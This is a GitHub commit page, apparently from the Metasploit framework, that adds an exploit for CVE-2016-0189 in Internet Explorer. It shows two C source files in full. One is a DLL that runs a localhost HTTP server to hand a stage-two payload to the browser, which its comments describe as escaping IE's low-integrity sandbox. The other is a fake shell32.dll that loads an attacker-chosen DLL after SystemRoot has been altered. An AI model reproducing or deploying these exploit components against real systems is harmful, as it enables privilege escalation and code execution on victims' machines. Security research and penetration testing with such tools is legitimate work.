Skip to content

Commit 2f6e0fb

Browse files
committed
Land rapid7#7172, Add exploit for CVE-2016-0189 (MSIE)
2 parents d098def + e16c57e commit 2f6e0fb

File tree

5 files changed

+704
-0
lines changed

5 files changed

+704
-0
lines changed
73.5 KB
Binary file not shown.
68 KB
Binary file not shown.
Lines changed: 183 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,183 @@
1+
/*
2+
From: https://gist.github.com/worawit/1213febe36aa8331e092
3+
4+
Simple local HTTP server for IE (with no AppContainer) privilege escalation.
5+
6+
I implemented local server instead of proxy in Ref because
7+
local server is easier to code. But local server is less useful then proxy.
8+
9+
Ref:
10+
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb
11+
12+
Note:
13+
From my test, by default IE does not configure intranet site.
14+
With this default, localhost is treated as internet site (run as low integrity).
15+
*/
16+
#define _CRT_SECURE_NO_WARNINGS
17+
#define WIN32_LEAN_AND_MEAN
18+
#include <winsock2.h>
19+
#include <stdio.h>
20+
#include <string.h>
21+
22+
#pragma comment(lib, "ws2_32.lib")
23+
24+
#define SERVER_PORT 5555
25+
26+
static HANDLE hThread = NULL;
27+
28+
static WCHAR stage2file[256];
29+
30+
static SOCKET serverSk = INVALID_SOCKET;
31+
static SOCKET peerSk = INVALID_SOCKET;
32+
33+
static SOCKET create_server()
34+
{
35+
struct sockaddr_in skAddr;
36+
SOCKET sk;
37+
int optval;
38+
39+
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
40+
if (sk == INVALID_SOCKET)
41+
return INVALID_SOCKET;
42+
43+
optval = 1;
44+
setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, (char*) &optval, sizeof(optval));
45+
46+
memset(&skAddr, 0, sizeof(skAddr));
47+
skAddr.sin_family = AF_INET;
48+
skAddr.sin_port = htons(SERVER_PORT);
49+
skAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
50+
51+
if (bind(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0)
52+
goto on_error;
53+
54+
if (listen(sk, 5) != 0)
55+
goto on_error;
56+
57+
return sk;
58+
59+
on_error:
60+
closesocket(sk);
61+
return SOCKET_ERROR;
62+
}
63+
64+
static int send_all(SOCKET sk, char *buffer, int size)
65+
{
66+
int len;
67+
while (size > 0) {
68+
len = send(sk, buffer, size, 0);
69+
if (len <= 0)
70+
return 0;
71+
buffer += len;
72+
size -= len;
73+
}
74+
75+
return 1;
76+
}
77+
78+
static int local_server()
79+
{
80+
int len;
81+
int totalSize;
82+
char buffer[4096];
83+
HANDLE hFile = INVALID_HANDLE_VALUE;
84+
85+
serverSk = create_server();
86+
if (serverSk == INVALID_SOCKET)
87+
return SOCKET_ERROR;
88+
89+
while (1) {
90+
peerSk = accept(serverSk, NULL, NULL);
91+
if (peerSk == INVALID_SOCKET) {
92+
continue;
93+
}
94+
95+
len = recv(peerSk, buffer, sizeof(buffer), 0);
96+
if (len <= 0)
97+
goto closepeer;
98+
99+
hFile = CreateFile(stage2file, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
100+
if (hFile == INVALID_HANDLE_VALUE)
101+
break;
102+
103+
totalSize = GetFileSize(hFile, NULL);
104+
if (totalSize == INVALID_FILE_SIZE)
105+
break;
106+
107+
len = _snprintf(buffer, sizeof(buffer),
108+
"HTTP/1.1 200 OK\r\n"
109+
"Content-Type: text/html\r\n"
110+
"Connection: Close\r\n"
111+
"Content-Length: %d\r\n"
112+
"\r\n",
113+
totalSize
114+
);
115+
send_all(peerSk, buffer, len);
116+
117+
while (totalSize > 0) {
118+
ReadFile(hFile, buffer, sizeof(buffer), (DWORD*) &len, NULL);
119+
send_all(peerSk, buffer, len);
120+
totalSize -= len;
121+
}
122+
CloseHandle(hFile);
123+
hFile = INVALID_HANDLE_VALUE;
124+
125+
closepeer:
126+
closesocket(peerSk);
127+
peerSk = INVALID_SOCKET;
128+
}
129+
130+
if (hFile != INVALID_HANDLE_VALUE) {
131+
CloseHandle(hFile);
132+
}
133+
if (peerSk != INVALID_SOCKET) {
134+
closesocket(peerSk);
135+
peerSk = INVALID_SOCKET;
136+
}
137+
if (serverSk != INVALID_SOCKET) {
138+
closesocket(serverSk);
139+
serverSk = INVALID_SOCKET;
140+
}
141+
142+
return 0;
143+
}
144+
145+
DWORD WINAPI threadProc(void *param)
146+
{
147+
WSADATA wsaData;
148+
WSAStartup(MAKEWORD(2 ,2), &wsaData);
149+
150+
local_server();
151+
152+
WSACleanup();
153+
154+
DeleteFile(stage2file);
155+
return 0;
156+
}
157+
158+
void do_work()
159+
{
160+
GetEnvironmentVariableW(L"stage2file", stage2file, sizeof(stage2file));
161+
162+
hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL);
163+
}
164+
165+
BOOL APIENTRY DllMain( HMODULE hModule,
166+
DWORD ul_reason_for_call,
167+
LPVOID lpReserved
168+
)
169+
{
170+
switch (ul_reason_for_call)
171+
{
172+
case DLL_PROCESS_ATTACH:
173+
do_work();
174+
break;
175+
case DLL_PROCESS_DETACH:
176+
if (hThread) {
177+
WaitForSingleObject(hThread, INFINITE);
178+
CloseHandle(hThread);
179+
}
180+
break;
181+
}
182+
return TRUE;
183+
}
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
/*
2+
From: https://gist.github.com/worawit/1213febe36aa8331e092
3+
4+
Fake shell32.dll to be loaded after modified %SystemRoot%
5+
*/
6+
#define WIN32_LEAN_AND_MEAN
7+
#include <windows.h>
8+
9+
static void do_work()
10+
{
11+
WCHAR envBuffer[256];
12+
13+
GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer));
14+
// restore system root
15+
SetEnvironmentVariableW(L"SystemRoot", envBuffer);
16+
//SetEnvironmentVariableW(L"SaveSystemRoot", NULL);
17+
18+
GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer));
19+
SetEnvironmentVariableW(L"MyDllPath", NULL);
20+
21+
// shell32.dll will be unloaded, use another dll
22+
LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
23+
}
24+
25+
BOOL APIENTRY DllMain( HMODULE hModule,
26+
DWORD ul_reason_for_call,
27+
LPVOID lpReserved
28+
)
29+
{
30+
switch (ul_reason_for_call)
31+
{
32+
case DLL_PROCESS_ATTACH:
33+
do_work();
34+
break;
35+
case DLL_PROCESS_DETACH:
36+
break;
37+
}
38+
return TRUE;
39+
}

0 commit comments

Comments
 (0)